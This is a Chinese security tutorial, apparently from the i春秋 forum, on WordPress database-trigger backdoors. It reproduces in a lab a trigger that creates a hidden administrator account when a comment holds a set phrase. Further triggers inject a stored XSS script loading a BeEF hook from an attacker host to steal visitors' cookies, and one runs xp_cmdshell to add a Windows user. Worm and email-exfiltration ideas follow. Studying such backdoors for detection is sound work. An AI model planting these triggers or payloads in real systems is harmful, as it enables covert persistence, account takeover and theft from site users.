fatmo
该文章首发在i春秋论坛,欢迎各位师傅完成专业爱好者认证,可第一时间获取最新技术资讯和实战技能分享。
(识别二维码,快速完成认证)
最近在WordPress的提问板块中发现了一个有趣的问题:提问者在帮助朋友处理一个被入侵的WordPress网站时,删除了多余的管理员账户。然而,不久之后,这个管理员账户又出现了。
当提问者进行进一步检查时,发现了网站数据库中的一个触发器。这个触发器的作用是,当有评论的内容包含特定字符串”are you struggling to get comments on your blog?”时,触发器会在数据库中创建一个新的管理员账户。
BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', '[email protected]', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;
END
提问者在网站的三个不同数据库中找到了这个触发器,这表明这个触发器是入侵者留下的一个后门。
这个问题引起了我的兴趣,数据库触发器可以神不知鬼不觉的创建管理员账户,但它的潜力远不止此,与网站特性相结合,它可以做很多事情。
DB Trigger后门介绍
DB Trigger
DB Trigger,也被称为数据库触发器,是自动响应或激活某个事件(如INSERT,DELETE,UPDATE)的一个存储过程(Stored Procedure)。这些事件被定义在特定的数据库表(Table)上。当在表上触发指定的事件时,数据库触发器将被自动执行。
几个DB Trigger常见的用例:
1.审计:触发器可以被用来记录对数据库表的更改。例如,如果某个用户试图修改或删除记录,触发器可以在审计表中自动创建一条记录,指明谁执行了操作,何时执行了操作,以及操作的细节。
2.数据验证:触发器可以被用来在数据库级别验证数据。例如,如果应用程序试图输入一个无效的数据,触发器可以阻止这个操作,并回滚事务。
3.自动化任务:触发器可以被用来自动执行数据库中的任务。例如,每当在表中插入新记录时,触发器可以自动更新相关联的另一张表。
4.跟踪更改:如果你希望每次表更新时都记录一下更改的内容,触发器可以帮助实现这一点。
给出审计用例下的Trigger SQL代码:
CREATE TRIGGER products_after_update
AFTER UPDATE ON products
FOR EACH ROW
BEGIN
INSERT INTO audit_log (action, action_date, executed_by, product_id)
VALUES('Update', NOW(), CURRENT_USER(), OLD.product_id);
END;
DB Trigger后门
拥有CREATE Trigger权限的攻击者,可以在数据库中创建触发器,触发条件只有攻击者自己知道(比如发布一条包含特殊字符串的评论),数据库在触发后,执行指定的操作(比如创建特定管理员账号供管理员登录)。
引言中的SQL代码就是一个典型的DB Trigger后门,这个后门的内容是:当有人发表的评论内容包含特定字符串”are you struggling to get comments on your blog?”时,触发器会在数据库中创建一个新的特定的管理员账户。
BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', '[email protected]', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;
END
后门利用
引言中的例子证明了这个后门的可行性,为了学习这个后门的利用,我们先在本地环境复现引言中的例子,然后扩展这个后门的更多用法,最后分享想法与总结。
问题复现
安装wordpress
1.新建文件docker-compose.yml,写入以下内容:
version: '3'
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: your_mysql_root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- 8080:80
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
db_data:
2.在相同目录下,执行:
docker-compose up -d
配置MySQL打印日志
docker ps
2.把MySQL配置文件复制到本机修改
docker cp 46d:/etc/my.conf ./my.cnf
3.添加打印SQL日志的配置
log_output = FILE
general_log = 1
general_log_file = /var/lib/mysql/general.log
4.再把文件传回去
docker cp ./my.cnf 46d:/etc/my.cnf
5.重启MySQL容器使配置生效
docker restart 46d
6.进入容器,追踪日志/var/lib/mysql/general.log,随便制造几个请求,我们就可以看到wordpress执行的所有SQL指令,这对我们之后的研究很有帮助。
cd /var/lib/mysql
tail -f general.log
复现创建管理员的触发器后门
1.我们首先看一下,发表一个评论,会执行怎样的SQL指令。为了防止我们发表评论的SQL在海量的SQL请求中淹没,我们以“Hello World”作为标志,筛选所有具有Hello World的SQL指令。
tail -f general.log | grep "Hello World"
2.点击发布,我们就拿到了发表评论的SQL指令。
bash-4.2# tail -f general.log | grep "Hello World"
2023-08-12T06:13:10.947100Z 62 Query SELECT comment_ID FROM wp_comments WHERE comment_post_ID = 6 AND comment_parent = '0' AND comment_approved != 'trash' AND ( comment_author = 'wordpress' AND comment_author_email = '[email protected]' ) AND comment_content = 'Hello World' LIMIT 1
2023-08-12T06:13:11.000667Z 62 Query INSERT INTO `wp_comments` (`comment_post_ID`, `comment_author_IP`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES (6, '192.168.153.1', 'wordpress', '[email protected]', 'http://192.168.153.147:8080', '2023-08-12 14:13:10', '2023-08-12 06:13:10', 'Hello World', 0, '1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'comment', 0, 1)
3.有两个SQL命令,我们关注插入数据库的命令:
INSERT INTO `wp_comments` (`comment_post_ID`, `comment_author_IP`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES (6, '192.168.153.1', 'wordpress', '[email protected]', 'http://192.168.153.147:8080', '2023-08-12 14:13:10', '2023-08-12 06:13:10', 'Hello World', 0, '1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'comment', 0, 1)
4.现在复现一下引言中的后门:当攻击者发表一个内容包含“Hello”的评论时,创建一个管理员账户。
5.首先需要获取创建管理员的SQL指令,进入后台,添加管理员用户,然后去日志查看执行的SQL指令。
bash-4.2# tail -f general.log | grep "a666"
2023-08-12T06:05:48.678173Z 52 Query SELECT * FROM wp_users WHERE user_login = 'a666' LIMIT 1
2023-08-12T06:05:48.678471Z 52 Query SELECT * FROM wp_users WHERE user_email = '[email protected]' LIMIT 1
2023-08-12T06:05:48.693036Z 52 Query SELECT * FROM wp_users WHERE user_login = 'a666' LIMIT 1
2023-08-12T06:05:48.693567Z 52 Query SELECT ID FROM wp_users WHERE user_nicename = 'a666' AND user_login != 'a666' LIMIT 1
2023-08-12T06:05:48.694158Z 52 Query SELECT * FROM wp_users WHERE user_email = '[email protected]' LIMIT 1
2023-08-12T06:05:48.695324Z 52 Query INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', '[email protected]', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666')
2023-08-12T06:05:48.697495Z 52 Query INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (2, 'nickname', 'a666')
2023-08-12T06:05:48.698825Z 52 Query INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (2, 'first_name', 'a666')
6.获取到添加管理员实际执行了这条语句:
INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', '[email protected]', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666')
7.前置信息已经足够,写入触发器:
CREATE TRIGGER comment_backdoor
AFTER INSERT ON wordpress.wp_comments
FOR EACH ROW
BEGIN
IF NEW.comment_content LIKE '%Hello%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM wordpress.wp_users);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', '[email protected]', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666');
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (@nextWpUsersID, 'nickname', 'a666');
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (@nextWpUsersID, 'first_name', 'a666');
END IF;
END;
8.再发一个评论,评论内容包含Hello,看是否创建了用户。
9.评论发出,新建管理员账号,复现成功。
深入利用
与XSS相结合
我们可以创建这样一个触发器:当用户发表评论时,使用XSS Payload拼接用户的评论,从而实现存储型XSS。这样做有两点好处:
1.XSS Payload是在用户输入至数据库后才被拼接的,可以绕过Waf等防护。
2.这是一个在任意数据输入处都可以埋点的存储型XSS,可以由任何用户触发,危害范围广。
下面我们使用上文中的环境继续测试,验证这个想法是否可行:
1.创建触发器,在用户发表评论时,弹出提示框:
CREATE TRIGGER comment_alert
BEFORE INSERT ON wp_comments
FOR EACH ROW
BEGIN
SET NEW.comment_content = CONCAT(NEW.comment_content, '<script>alert("backdoor!")</script>');
END;
2.发表一条评论,成功弹窗。
3.初步验证成功,直接上beef。
4.改一下触发器,换成载入我们的beef Hook文件。
CREATE TRIGGER comment_alert
BEFORE INSERT ON wp_comments
FOR EACH ROW
BEGIN
SET NEW.comment_content = CONCAT(NEW.comment_content, '<script src="http://192.168.153.147:3000/hook.js"></script>');
END;
5.发一条评论,可以看到受害者已经上线。
6.拿到了包括Cookies在内的受害者信息。
7.再用Beef测试一下,把页面里的所有超链接改成百度。
8.获取受害者的位置
9.内网探测,作为僵尸节点进行DDos,诱导受害者下载木马并执行等。
与xp_cmdshell结合
我们都知道MSSQL的xp_cmdshell可以执行系统命令,如果MSSQL开启了xp_cmdshell或者攻击者打开了xp_cmdshell功能,那么构造一个调用xp_cmdshell的触发器,就可以实现DB Trigger后门直接执行系统命令。例子如下:
CREATE TRIGGER backdoorTrigger
ON [master]
FOR Create_Login
AS
EXEC xp_cmdshell 'cmd.exe /c net user Admin123 Admin123456 /add'
想法:XSS蠕虫
前文中我们已经证实了触发器后门可以与XSS相结合,假设目标网站存在CSRF漏洞。再结合前文的XSS漏洞,两个低危漏洞相结合,就可以实现XSS蠕虫,产生广泛的影响。
1.假设WordPress的Email插件存在CSRF,那么我们监视邮件库,在邮件请求ID+1时调用JS代码,把邮件内容拷贝一份发送到攻击者邮箱。就可以监听站点发出的所有Email。
2.再狂野一点,监听wp用户表,当有新用户创建时,马上发送一封Email给新用户。提示用户注册后需要点击链接后才能正常使用网站,链接背后的内容可以自由发挥。
3.文章虽然以WordPress为例展开讲解,但是不论是DB Trigger Backdoor、XSS还是CSRF,都是通用的。现实中就发生了多起XSS蠕虫造成严重影响的事件,比如社交网站的关注功能存在CSRF,那么就可以让一个人一天内涨上百万粉丝。应该根据实际情况构造不同的攻击思路。
总结
我们从一个实际的例子入手,本地复现了该后门。随后将此后门与XSS和xp_cmdshell相结合,证明了这个后门在广度(XSS)和深度(xp_cmdshell)上都有更大的利用潜力。
而且,DB Trigger是一个在安全中及其容易被忽视的功能(实际运维应用场景也不是很多),因此在后门排查中极易被忽视。起码,目前WordPress中最流行的安全插件wordfence还没有检测DB Trigger的功能。
未知攻焉知防,从攻击者的角度入手,了解到了DB Trigger后门的隐蔽性和危害,在安全建设工作中才会覆盖到这个容易被忽视的隐患。
原文始发于微信公众号(i春秋):深度学习数据库触发器后门(案例精讲)